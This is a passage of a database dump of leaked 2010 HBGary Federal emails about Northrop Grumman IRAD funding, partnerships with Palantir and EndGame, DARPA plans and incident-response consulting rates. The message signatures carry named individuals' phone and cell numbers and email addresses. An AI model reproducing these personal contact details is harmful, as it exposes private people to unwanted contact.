Thu Feb 11 11am - 12pm (brian.masterson@ngc.com)\r\nWhen: Thursday, February 11, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: \r\n\r\n\r\n\r\nAaron Barr has accepted this invitation.\r\n\r\n\r\n\r\nFurther discussion\r\n\r\n\r\n\r\nWhen\r\n\r\nThu Feb 11 11am &#8211; 12pm Eastern Time&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nCalendar\r\n\r\nbrian.masterson@ngc.com \r\n\r\nWho\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; brian.masterson@ngc.com - organizer\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aaron@hbgary.com\r\n\r\nInvitation from Google Calendar\r\n\r\nYou are receiving this courtesy email at the account brian.masterson@ngc.com because you are an attendee of this event.\r\n\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n&nbsp;&lt;&lt; File: invite.ics &gt;&gt; \r\n\r\n\r\n',9767,'aaron_hbgary_com/9767.html'),(2449,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001126.M704139P3547Q2449.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Accepted: Further discussion @ Thu Feb 11 11am - 12pm 	(brian.masterson@ngc.com)','Yep we can cover that.  In the end it&#39;s a solution with a semi product that comes with people.  The product enforces process, knowledge management, etc.  Strange IS doesn&#39;t care, while slightly different we will be competing with cyberworx.\r\nAaronFrom my iPhoneOn Feb 10, 2010, at 9:20 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWe also need to discuss the business case.  I need to show what a potential ROI is.  So, if we have a demo and it gets bought.  What would the revenue look like?  S/W licenses, system install, manning,…\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: aaron@hbgary.com [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, February 10, 2010 5:42 PM\r\n\r\nTo: Masterson, Brian (Xetron)\r\n\r\nSubject: Accepted: Further discussion @ Thu Feb 11 11am - 12pm (brian.masterson@ngc.com)\r\n\r\nWhen: Thursday, February 11, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: \r\n\r\n\r\n\r\n\r\nAaron Barr has accepted this invitation.\r\n\r\n\r\n\r\n\r\nFurther discussion\r\n\r\n\r\n\r\nWhen\r\n\r\n\r\nThu Feb 11 11am – 12pm Eastern Time     \r\n\r\nCalendar\r\n\r\n\r\nbrian.masterson@ngc.com \r\n\r\nWho\r\n\r\n\r\n•       brian.masterson@ngc.com - organizer\r\n\r\n•       aaron@hbgary.com\r\n\r\nInvitation from Google Calendar\r\n\r\n\r\nYou are receiving this courtesy email at the account brian.masterson@ngc.com because you are an attendee of this event.\r\n\r\n\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n\r\n &lt;&lt; File: invite.ics &gt;&gt; \r\n\r\n\r\n\r\n',546,'aaron_hbgary_com/546.html'),(2450,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001126.M904289P3547Q2450.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Further discussion','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks for the SOW.&nbsp; I will send an email to Bob Shows.\r\n\r\nNo need to apologize.&nbsp; I understand the pressure.&nbsp; If\r\nI could help you out sooner, I would.\r\n\r\n&nbsp;\r\n\r\nWe can turn proposals pretty fast as we have approval authority\r\nto 5M on-site.\r\n\r\nAs far as ES and the partnership, it looks pretty set.&nbsp;\r\nJadik gave us his ok.&nbsp; Xetron gets NCTAs every year.&nbsp; The money for\r\nthe integration is coming out of my IRAD budget.&nbsp; I don&#8217;t have to\r\nget approval as long as I can project an ROI.&nbsp; The money is already\r\nbudgeted.&nbsp; Just my butt on the line.&nbsp; I have talked to AC&amp;TD\r\nabout this (at the working level) and they support it.&nbsp; Bill and I are all\r\nover this.&nbsp; Now with Jadik&#8217;s cover, we are good.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHow does the HBGary/Palantir integration work compare/influence\r\nwhat we are doing?&nbsp; What is the end goal of that compared to what we are\r\ndoing?&nbsp; EndGame did offer up a cut of their US data.&nbsp; Hopefully, when\r\nwe partner up for joint efforts, they will give us access to some of their\r\nother data to look at what integration opportunities exist.&nbsp; As soon as we\r\nget the US data cut, we are going to have to figure out what in the data will\r\nmake the best demo.&nbsp; As I said, we got 10 Flt in mid March.&nbsp; We need\r\nto move quick.\r\n\r\n&nbsp;\r\n\r\nI would like to get in on your QRC work as well but I am\r\nconcerned that our costs will be too high compared to Foundstone.&nbsp; But,\r\ncommercial rates can be pretty high at times.&nbsp; We&#8217;ll have to work\r\nthat.&nbsp; I know our guys will kill on it though.\r\n\r\n&nbsp;\r\n\r\nTalk to you tomorrow.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat news on the support to go forward with the IRAD.\r\n&nbsp;Sorry I have been a bit out of touch but Penny has been putting on the\r\npressure to bring in funds so I have been busy chasing immediate work. &nbsp;The\r\nlong term benefit of what we are putting together will but HBGary Federal\r\nsolidly on the map, but I need to make sure we are around to reep the benefits.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would have tried to work with you and the NG system on the\r\nOSI RFP but the due date is 22 Feb. and who knows how long it would have taken\r\nyou to break that through the NG system. &nbsp;Once we get something built we\r\nwill be able to really push that out through many fronts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI know what your thoughts are on partnership on this with\r\nHBGary Federal but do you get a sense on how the larger ES feels? &nbsp;I would\r\nlike to be your partner side by side in this but I realize its NG money.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLike you I have been in regular conversation with EndGames,\r\nPalantir, Netwitness, and all are still very eager to get this party started.\r\n&nbsp;HBGary and Palantir are starting to work the integration, Endgames is\r\nsupposed to be sending me some aurora data, but on the malware stuff. &nbsp;I\r\nguess they have a bunch of external aurora information but were not willing to\r\nshare it with us at this moment, they said maybe in a bit. &nbsp;Maybe you can\r\nhave diffferent success as the &quot;big&quot; integrator. &nbsp;Definatley\r\nwant to sit down and talk about the nuts and bolts going forward with the IRAD,\r\netc. &nbsp;Man really exciting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would like to get you involved as my partner for Incident\r\nResponse for our QRC gigs. &nbsp;RIght now I am using foundstone and PwC.\r\n&nbsp;Don\'t know what that would take, happen gradually over time. &nbsp;We are\r\ngoing to do Duponts network next week. &nbsp;They are pretty sure the chinese\r\nare all over their networks. &nbsp;I am going down there to sit as a shadow and\r\nlearn the ropes since Federal will be taking the lead for all of these.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is the AF OSI RFP. &nbsp;We are a sub to MacB.\r\n&nbsp;This is a huge contract vehicle and Northrop is on it, having stolen it\r\nfrom TASC. &nbsp;It probably resides with DSD, maybe check with Bob Shows or\r\nGeb.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16864,'aaron_hbgary_com/16864.html'),(2451,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001127.M310791P3547Q2452.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Further discussion','Our efforts with palantir are a subset of the bigger picture.  We are pushing the rock a little the irad pushes it a lot.Normal charges for commercial work are 300-400 am hour.  Are u over that? :)\r\nTalk to you tomorrow.AaronFrom my iPhoneOn Feb 10, 2010, at 9:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks for the SOW.  I will send an email to Bob Shows.\r\n\r\nNo need to apologize.  I understand the pressure.  If\r\nI could help you out sooner, I would.\r\n\r\n \r\n\r\nWe can turn proposals pretty fast as we have approval authority\r\nto 5M on-site.\r\n\r\nAs far as ES and the partnership, it looks pretty set. \r\nJadik gave us his ok.  Xetron gets NCTAs every year.  The money for\r\nthe integration is coming out of my IRAD budget.  I don’t have to\r\nget approval as long as I can project an ROI.  The money is already\r\nbudgeted.  Just my butt on the line.  I have talked to AC&amp;TD\r\nabout this (at the working level) and they support it.  Bill and I are all\r\nover this.  Now with Jadik’s cover, we are good.  \r\n\r\n \r\n\r\nHow does the HBGary/Palantir integration work compare/influence\r\nwhat we are doing?  What is the end goal of that compared to what we are\r\ndoing?  EndGame did offer up a cut of their US data.  Hopefully, when\r\nwe partner up for joint efforts, they will give us access to some of their\r\nother data to look at what integration opportunities exist.  As soon as we\r\nget the US data cut, we are going to have to figure out what in the data will\r\nmake the best demo.  As I said, we got 10 Flt in mid March.  We need\r\nto move quick.\r\n\r\n \r\n\r\nI would like to get in on your QRC work as well but I am\r\nconcerned that our costs will be too high compared to Foundstone.  But,\r\ncommercial rates can be pretty high at times.  We’ll have to work\r\nthat.  I know our guys will kill on it though.\r\n\r\n \r\n\r\nTalk to you tomorrow.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat news on the support to go forward with the IRAD.\r\n Sorry I have been a bit out of touch but Penny has been putting on the\r\npressure to bring in funds so I have been busy chasing immediate work.  The\r\nlong term benefit of what we are putting together will but HBGary Federal\r\nsolidly on the map, but I need to make sure we are around to reep the benefits.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would have tried to work with you and the NG system on the\r\nOSI RFP but the due date is 22 Feb. and who knows how long it would have taken\r\nyou to break that through the NG system.  Once we get something built we\r\nwill be able to really push that out through many fronts.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI know what your thoughts are on partnership on this with\r\nHBGary Federal but do you get a sense on how the larger ES feels?  I would\r\nlike to be your partner side by side in this but I realize its NG money.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLike you I have been in regular conversation with EndGames,\r\nPalantir, Netwitness, and all are still very eager to get this party started.\r\n HBGary and Palantir are starting to work the integration, Endgames is\r\nsupposed to be sending me some aurora data, but on the malware stuff.  I\r\nguess they have a bunch of external aurora information but were not willing to\r\nshare it with us at this moment, they said maybe in a bit.  Maybe you can\r\nhave diffferent success as the &quot;big&quot; integrator.  Definatley\r\nwant to sit down and talk about the nuts and bolts going forward with the IRAD,\r\netc.  Man really exciting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would like to get you involved as my partner for Incident\r\nResponse for our QRC gigs.  RIght now I am using foundstone and PwC.\r\n Don&#39;t know what that would take, happen gradually over time.  We are\r\ngoing to do Duponts network next week.  They are pretty sure the chinese\r\nare all over their networks.  I am going down there to sit as a shadow and\r\nlearn the ropes since Federal will be taking the lead for all of these.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is the AF OSI RFP.  We are a sub to MacB.\r\n This is a huge contract vehicle and Northrop is on it, having stolen it\r\nfrom TASC.  It probably resides with DSD, maybe check with Bob Shows or\r\nGeb.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',993,'aaron_hbgary_com/993.html'),(2452,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001127.M591502P3547Q2453.eml','aaron@hbgary.com','Re: Further discussion','\r\nCrap!  Gotta go commercial.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 10 20:43:09 2010Subject: Re: Further discussion\r\nOur efforts with palantir are a subset of the bigger picture.  We are pushing the rock a little the irad pushes it a lot.Normal charges for commercial work are 300-400 am hour.  Are u over that? :)\r\nTalk to you tomorrow.AaronFrom my iPhoneOn Feb 10, 2010, at 9:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks for the SOW.  I will send an email to Bob Shows.\r\n\r\nNo need to apologize.  I understand the pressure.  If\r\nI could help you out sooner, I would.\r\n\r\n \r\n\r\nWe can turn proposals pretty fast as we have approval authority\r\nto 5M on-site.\r\n\r\nAs far as ES and the partnership, it looks pretty set. \r\nJadik gave us his ok.  Xetron gets NCTAs every year.  The money for\r\nthe integration is coming out of my IRAD budget.  I don’t have to\r\nget approval as long as I can project an ROI.  The money is already\r\nbudgeted.  Just my butt on the line.  I have talked to AC&amp;TD\r\nabout this (at the working level) and they support it.  Bill and I are all\r\nover this.  Now with Jadik’s cover, we are good.  \r\n\r\n \r\n\r\nHow does the HBGary/Palantir integration work compare/influence\r\nwhat we are doing?  What is the end goal of that compared to what we are\r\ndoing?  EndGame did offer up a cut of their US data.  Hopefully, when\r\nwe partner up for joint efforts, they will give us access to some of their\r\nother data to look at what integration opportunities exist.  As soon as we\r\nget the US data cut, we are going to have to figure out what in the data will\r\nmake the best demo.  As I said, we got 10 Flt in mid March.  We need\r\nto move quick.\r\n\r\n \r\n\r\nI would like to get in on your QRC work as well but I am\r\nconcerned that our costs will be too high compared to Foundstone.  But,\r\ncommercial rates can be pretty high at times.  We’ll have to work\r\nthat.  I know our guys will kill on it though.\r\n\r\n \r\n\r\nTalk to you tomorrow.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat news on the support to go forward with the IRAD.\r\n Sorry I have been a bit out of touch but Penny has been putting on the\r\npressure to bring in funds so I have been busy chasing immediate work.  The\r\nlong term benefit of what we are putting together will but HBGary Federal\r\nsolidly on the map, but I need to make sure we are around to reep the benefits.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would have tried to work with you and the NG system on the\r\nOSI RFP but the due date is 22 Feb. and who knows how long it would have taken\r\nyou to break that through the NG system.  Once we get something built we\r\nwill be able to really push that out through many fronts.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI know what your thoughts are on partnership on this with\r\nHBGary Federal but do you get a sense on how the larger ES feels?  I would\r\nlike to be your partner side by side in this but I realize its NG money.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLike you I have been in regular conversation with EndGames,\r\nPalantir, Netwitness, and all are still very eager to get this party started.\r\n HBGary and Palantir are starting to work the integration, Endgames is\r\nsupposed to be sending me some aurora data, but on the malware stuff.  I\r\nguess they have a bunch of external aurora information but were not willing to\r\nshare it with us at this moment, they said maybe in a bit.  Maybe you can\r\nhave diffferent success as the &quot;big&quot; integrator.  Definatley\r\nwant to sit down and talk about the nuts and bolts going forward with the IRAD,\r\netc.  Man really exciting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would like to get you involved as my partner for Incident\r\nResponse for our QRC gigs.  RIght now I am using foundstone and PwC.\r\n Don&#39;t know what that would take, happen gradually over time.  We are\r\ngoing to do Duponts network next week.  They are pretty sure the chinese\r\nare all over their networks.  I am going down there to sit as a shadow and\r\nlearn the ropes since Federal will be taking the lead for all of these.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is the AF OSI RFP.  We are a sub to MacB.\r\n This is a huge contract vehicle and Northrop is on it, having stolen it\r\nfrom TASC.  It probably resides with DSD, maybe check with Bob Shows or\r\nGeb.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8406,'aaron_hbgary_com/8406.html'),(2453,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001127.M95294P3547Q2451.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Accepted: Further discussion @ Thu Feb 11 11am - 12pm (brian.masterson@ngc.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAgree on the competing.&nbsp; Funny they would not try to shortcut\r\nthis if Tom had talked to them about it.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 9:33 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Accepted: Further discussion @ Thu Feb 11 11am - 12pm\r\n(brian.masterson@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep we can cover that. &nbsp;In the end it\'s a solution with\r\na semi product that comes with people. &nbsp;The product enforces process,\r\nknowledge management, etc. &nbsp;Strange IS doesn\'t care, while slightly\r\ndifferent we will be competing with cyberworx.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 9:20 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWe also need\r\nto discuss the business case.&nbsp; I need to show what a potential ROI\r\nis.&nbsp; So, if we have a demo and it gets bought.&nbsp; What would the revenue look\r\nlike?&nbsp; S/W licenses, system install, manning,&#8230;\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: aaron@hbgary.com [mailto:aaron@hbgary.com]\r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Accepted: Further discussion @ Thu Feb 11 11am - 12pm (brian.masterson@ngc.com)\r\nWhen: Thursday, February 11, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: \r\n\r\nAaron Barr has accepted\r\nthis invitation.\r\n\r\nFurther\r\ndiscussion\r\n\r\nWhen\r\n\r\nThu Feb 11 11am &#8211; 12pm\r\nEastern Time&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nCalendar\r\n\r\nbrian.masterson@ngc.com \r\n\r\nWho\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nbrian.masterson@ngc.com -\r\norganizer\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\naaron@hbgary.com\r\n\r\nInvitation from Google\r\nCalendar\r\n\r\nYou are receiving this\r\ncourtesy email at the account brian.masterson@ngc.com\r\nbecause you are an attendee of this event.\r\n\r\nTo stop receiving future\r\nnotifications for this event, decline this event. Alternatively you can sign up\r\nfor a Google account at https://www.google.com/calendar/\r\nand control your notification settings for your entire calendar.\r\n\r\n&nbsp;&lt;&lt; File:\r\ninvite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14334,'aaron_hbgary_com/14334.html'),(2454,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001131.M857537P3547Q2454.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Further discussion','I have been working to integrate EndGames data as well. &nbsp;They are supposed to be sending me some stuff on Aurora. &nbsp;But this has all been to just get started, hoping an IRAD to do something larger is going to come through.So here is my master plan.If you look at what people are saying about cybersecurity. &nbsp;Lots of folks are saying there has to be more malware and forensics analysis. &nbsp;We are saying yes and it needs to be tightly integrated with the other data sets.So we build a threat intelligence capability. &nbsp;This capability servers multiple purposes. &nbsp;The threat intelligence value, reports, maps, etc. &nbsp;There is also a direct enhancement to incident response. &nbsp;When you conduct incident response you have to do some network analysis, discovery, malware analysis, disk forensics, open source research. &nbsp;This capability will provide a framework to structure and bring more efficiency to the IR process.If we get a DARPA award we get to help shape what the future of managing digital artifacts, creating a capability to tie all the elements together in a HUGE way, user behavior, artifact relationships, etc. &nbsp;all data. &nbsp;Since we are working both ends we come out on top.Thats the plan anyway.How do you think NG is going to treat HBGary Fed as a partner in this effort? &nbsp;As far as ownership, use, etc.?AaronDefinitely need to get you into commercial IR.On Feb 10, 2010, at 9:49 PM, Masterson, Brian (Xetron) wrote:\r\nCrap!  Gotta go commercial.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 10 20:43:09 2010Subject: Re: Further discussion\r\n\r\nOur efforts with palantir are a subset of the bigger picture. &nbsp;We are pushing the rock a little the irad pushes it a lot.Normal charges for commercial work are 300-400 am hour. &nbsp;Are u over that? :)\r\nTalk to you tomorrow.AaronFrom my iPhoneOn Feb 10, 2010, at 9:39 PM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\nAaron,Thanks for the SOW.&nbsp; I will send an email to Bob Shows.No need to apologize.&nbsp; I understand the pressure.&nbsp; If\r\nI could help you out sooner, I would.&nbsp;We can turn proposals pretty fast as we have approval authority\r\nto 5M on-site.As far as ES and the partnership, it looks pretty set.&nbsp;\r\nJadik gave us his ok.&nbsp; Xetron gets NCTAs every year.&nbsp; The money for\r\nthe integration is coming out of my IRAD budget.&nbsp; I don’t have to\r\nget approval as long as I can project an ROI.&nbsp; The money is already\r\nbudgeted.&nbsp; Just my butt on the line.&nbsp; I have talked to AC&amp;TD\r\nabout this (at the working level) and they support it.&nbsp; Bill and I are all\r\nover this.&nbsp; Now with Jadik’s cover, we are good.&nbsp; &nbsp;How does the HBGary/Palantir integration work compare/influence\r\nwhat we are doing?&nbsp; What is the end goal of that compared to what we are\r\ndoing?&nbsp; EndGame did offer up a cut of their US data.&nbsp; Hopefully, when\r\nwe partner up for joint efforts, they will give us access to some of their\r\nother data to look at what integration opportunities exist.&nbsp; As soon as we\r\nget the US data cut, we are going to have to figure out what in the data will\r\nmake the best demo.&nbsp; As I said, we got 10 Flt in mid March.&nbsp; We need\r\nto move quick.&nbsp;I would like to get in on your QRC work as well but I am\r\nconcerned that our costs will be too high compared to Foundstone.&nbsp; But,\r\ncommercial rates can be pretty high at times.&nbsp; We’ll have to work\r\nthat.&nbsp; I know our guys will kill on it though.&nbsp;Talk to you tomorrow.&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n&nbsp;Great news on the support to go forward with the IRAD.\r\n&nbsp;Sorry I have been a bit out of touch but Penny has been putting on the\r\npressure to bring in funds so I have been busy chasing immediate work. &nbsp;The\r\nlong term benefit of what we are putting together will but HBGary Federal\r\nsolidly on the map, but I need to make sure we are around to reep the benefits.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI would have tried to work with you and the NG system on the\r\nOSI RFP but the due date is 22 Feb. and who knows how long it would have taken\r\nyou to break that through the NG system. &nbsp;Once we get something built we\r\nwill be able to really push that out through many fronts.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI know what your thoughts are on partnership on this with\r\nHBGary Federal but do you get a sense on how the larger ES feels? &nbsp;I would\r\nlike to be your partner side by side in this but I realize its NG money.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLike you I have been in regular conversation with EndGames,\r\nPalantir, Netwitness, and all are still very eager to get this party started.\r\n&nbsp;HBGary and Palantir are starting to work the integration, Endgames is\r\nsupposed to be sending me some aurora data, but on the malware stuff. &nbsp;I\r\nguess they have a bunch of external aurora information but were not willing to\r\nshare it with us at this moment, they said maybe in a bit. &nbsp;Maybe you can\r\nhave diffferent success as the \"big\" integrator. &nbsp;Definatley\r\nwant to sit down and talk about the nuts and bolts going forward with the IRAD,\r\netc. &nbsp;Man really exciting.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI would like to get you involved as my partner for Incident\r\nResponse for our QRC gigs. &nbsp;RIght now I am using foundstone and PwC.\r\n&nbsp;Don\'t know what that would take, happen gradually over time. &nbsp;We are\r\ngoing to do Duponts network next week. &nbsp;They are pretty sure the chinese\r\nare all over their networks. &nbsp;I am going down there to sit as a shadow and\r\nlearn the ropes since Federal will be taking the lead for all of these.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAttached is the AF OSI RFP. &nbsp;We are a sub to MacB.\r\n&nbsp;This is a huge contract vehicle and Northrop is on it, having stolen it\r\nfrom TASC. &nbsp;It probably resides with DSD, maybe check with Bob Shows or\r\nGeb.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11754,'aaron_hbgary_com/11754.html'),(2455,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001132.M292848P3547Q2456.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Your conference call with GD','Thats cool.  I don\'t mind having either one of their brains, but I have to tell you that if we are getting down in the weeds about HBGary software and Malware analysis I think we will not get an award.  This is about large scale data management, data tagging, correlation, with the exception of the 3rd task which is rock solid in the bag ours.  Tech area 1 and 2 are about how to characterize data, analyze, correlate, etc.\r\n\r\nBut if they want to talk tech area 3 then it would be good to have one of them on, but again, we don\'t want to get down in the weeds about the art of today this is about the art of 5 years from now.\r\n\r\nAaron\r\n\r\nOn Feb 10, 2010, at 11:22 PM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n>  \r\n> Chris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3.  FYI, Harbison and Upchurch are both hard core reverse engineering guys.  I\'m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary\'s software.  I\'d say Martin is the stronger overall engineer, and Shawn might know DDNA better.  Harbison and Upchurch are both good guys, but HBGary\'s software hasn\'t been good enough for them up through ver 1.5.\r\n>  \r\n> Bob\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal 